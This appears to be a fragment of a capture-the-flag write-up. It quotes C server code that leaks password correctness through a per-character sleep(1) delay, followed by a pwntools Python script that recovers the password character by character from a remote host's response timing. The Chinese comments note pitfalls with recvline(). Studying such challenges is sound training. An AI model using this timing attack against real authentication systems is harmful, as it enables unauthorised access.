else { printf("Received: %s vs Have: %s\n", buff, why85); int i; for (i = 0; i < ESIZE; i++) { // If the passwords don't match, no point in continuing. if ((int) buff[i] != (int) why85[i]) break; sleep(1); // easy way to prevent brute force attacks }
if (i == ESIZE) { # ifdef FLAG send(sock, FLAG, strlen(FLAG), 0);# else send(sock, "Wow, you did it!, now try it on the server!\n", strlen("Wow, you did it!, now try it on the server!\n"), 0);# endif return0; } else { send(sock, "Better luck next time!\n", strlen("Better luck next time!\n"), 0); } }
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~" r = remote("192.241.138.174", 7799) #r = remote("127.0.0.1", 7799) r.recvuntil("number!\n") ans = ""
#延时 lag = 1 whileTrue: for i in range(85): r.sendline(ans+charset[i]) starttime = datetime.datetime.now() print("trying "+ans+charset[i]) print(r.recv(100)) # 千万别用recvline(),server最后发送flag的时候是不含换行符的,如果使用recvline(),exploit会卡在这里,等待server发出来的换行符,为此我付出了惨痛的代价。 endtime = datetime.datetime.now() if (endtime-starttime).seconds >= lag: #当前位数对了,下一位需要的延时多加一秒 lag += 1 ans = ans+charset[i] break